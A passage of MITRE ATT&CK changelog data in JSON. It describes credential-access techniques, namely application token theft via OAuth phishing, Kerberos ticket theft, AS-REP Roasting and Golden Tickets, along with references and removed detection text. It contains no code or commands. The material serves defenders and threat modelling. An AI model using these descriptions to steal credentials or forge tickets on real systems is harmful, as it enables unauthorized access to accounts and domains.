"description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
"url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.160000+00:00\", \"old_value\": \"2025-04-15 23:18:15.337000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0834: Detection of Upload Tool"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-09-04 15:54:25.684000+00:00",
"modified": "2025-10-24 17:49:04.660000+00:00",
"name": "Steal Application Access Token",
"description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1528",
"external_id": "T1528"
},
{
"source_name": "Amnesty OAuth Phishing Attacks, August 2019",
"description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
"url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
},
{
"source_name": "SpecterOps Managed Identity 2022",
"description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
"url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
},
{
"source_name": "Auth0 Understanding Refresh Tokens",
"description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.",
"url": "https://auth0.com/learn/refresh-tokens"
},
{
"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
"description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
"url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
},
{
"source_name": "Cider Security Top 10 CICD Security Risks",
"description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/"
},
{
"source_name": "Trend Micro Pawn Storm OAuth 2017",
"description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
},
{
"source_name": "Kubernetes Service Accounts",
"description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
"url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
},
{
"source_name": "Entra Managed Identities 2025",
"description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.",
"url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token"
},
{
"source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
"description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
},
{
"source_name": "Microsoft - Azure AD App Registration - May 2019",
"description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
},
{
"source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
"description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
},
{
"source_name": "Microsoft Identity Platform Protocols May 2019",
"description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Suzy Schapperle - Microsoft Azure Red Team",
"Shailesh Tiwary (Indian Army)",
"Mark Wee",
"Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
"Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
"Ram Pliskin, Microsoft Azure Security Center",
"Jack Burns, HubSpot",
"Arun Seelagan, CISA",
"Eliraz Levi, Hunters Security",
"Alon Klayman, Hunters Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS",
"Containers",
"IaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.660000+00:00\", \"old_value\": \"2025-04-15 19:58:49.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n\\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n\\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n-\\n-Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n-\\n-Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1021: Restrict Web-Based Content",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0515: Detection Strategy for T1528 - Steal Application Access Token"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:12:46.830000+00:00",
"modified": "2025-10-24 17:48:41.885000+00:00",
"name": "Steal or Forge Kerberos Tickets",
"description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558",
"external_id": "T1558"
},
{
"source_name": "CERT-EU Golden Ticket Protection",
"description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
},
{
"source_name": "Microsoft Detecting Kerberoasting Feb 2018",
"description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
"url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
},
{
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
},
{
"source_name": "Stealthbits Detect PtT 2019",
"description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
"url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
},
{
"source_name": "AdSecurity Cracking Kerberos Dec 2015",
"description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
"url": "https://adsecurity.org/?p=2293"
},
{
"source_name": "ADSecurity Detecting Forged Tickets",
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"url": "https://adsecurity.org/?p=1515"
},
{
"source_name": "Microsoft Kerberos Golden Ticket",
"description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
"url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
},
{
"source_name": "Microsoft Klist",
"description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.",
"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"
},
{
"source_name": "ADSecurity Kerberos Ring Decoder",
"description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.",
"url": "https://adsecurity.org/?p=227"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tim (Wadhwa-)Brown",
"Cody Thomas, SpecterOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Logon Session: Logon Session Metadata\", \"Active Directory: Active Directory Credential Request\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.885000+00:00\", \"old_value\": \"2025-04-15 19:58:25.352000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n\\nMonitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n-\\n-Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n-\\n-Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n-\\n-Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n-\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n-\\n-Monitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1041: Encrypt Sensitive Information",
"M1043: Credential Access Protection",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0026: Active Directory (Active Directory Credential Request)",
"DS0028: Logon Session (Logon Session Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0522: Detect Kerberos Ticket Theft or Forgery (T1558)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-08-24 13:43:00.028000+00:00",
"modified": "2025-10-24 17:48:39.884000+00:00",
"name": "AS-REP Roasting",
"description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/004",
"external_id": "T1558.004"
},
{
"source_name": "Microsoft Detecting Kerberoasting Feb 2018",
"description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
"url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
},
{
"source_name": "Harmj0y Roasting AS-REPs Jan 2017",
"description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/"
},
{
"source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
"description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
"url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"
},
{
"source_name": "SANS Attacking Kerberos Nov 2014",
"description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
"url": "https://redsiege.com/kerberoast-slides"
},
{
"source_name": "AdSecurity Cracking Kerberos Dec 2015",
"description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
"url": "https://adsecurity.org/?p=2293"
},
{
"source_name": "Microsoft 4768 TGT 2017",
"description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768"
},
{
"source_name": "Microsoft Kerberos Preauth 2014",
"description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.",
"url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Yossi Nisani, Cymptom",
"James Dunn, @jamdunnDFW, EY",
"Swapnil Kumbhar",
"Jacques Pluviose, @Jacqueswildy_IT",
"Dan Nutting, @KerberToast"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.884000+00:00\", \"old_value\": \"2025-04-15 19:58:23.309000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1027: Password Policies",
"M1041: Encrypt Sensitive Information",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0026: Active Directory (Active Directory Credential Request)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0113: Detect AS-REP Roasting Attempts (T1558.004)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:13:33.643000+00:00",
"modified": "2025-10-24 17:48:58.155000+00:00",
"name": "Golden Ticket",
"description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/001",
"external_id": "T1558.001"
},
{
"source_name": "AdSecurity Kerberos GT Aug 2015",
"description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
"url": "https://adsecurity.org/?p=1640"
},
{
"source_name": "CERT-EU Golden Ticket Protection",
"description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
},
{
"source_name": "ADSecurity Detecting Forged Tickets",
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"url": "https://adsecurity.org/?p=1515"
},
{
"source_name": "ADSecurity Kerberos and KRBTGT",
"description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
"url": "https://adsecurity.org/?p=483"
},
{
"source_name": "Stealthbits Detect PtT 2019",
"description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
"url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
},
{
"source_name": "Microsoft Kerberos Golden Ticket",
"description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
"url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Itamar Mizrahi, Cymptom"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
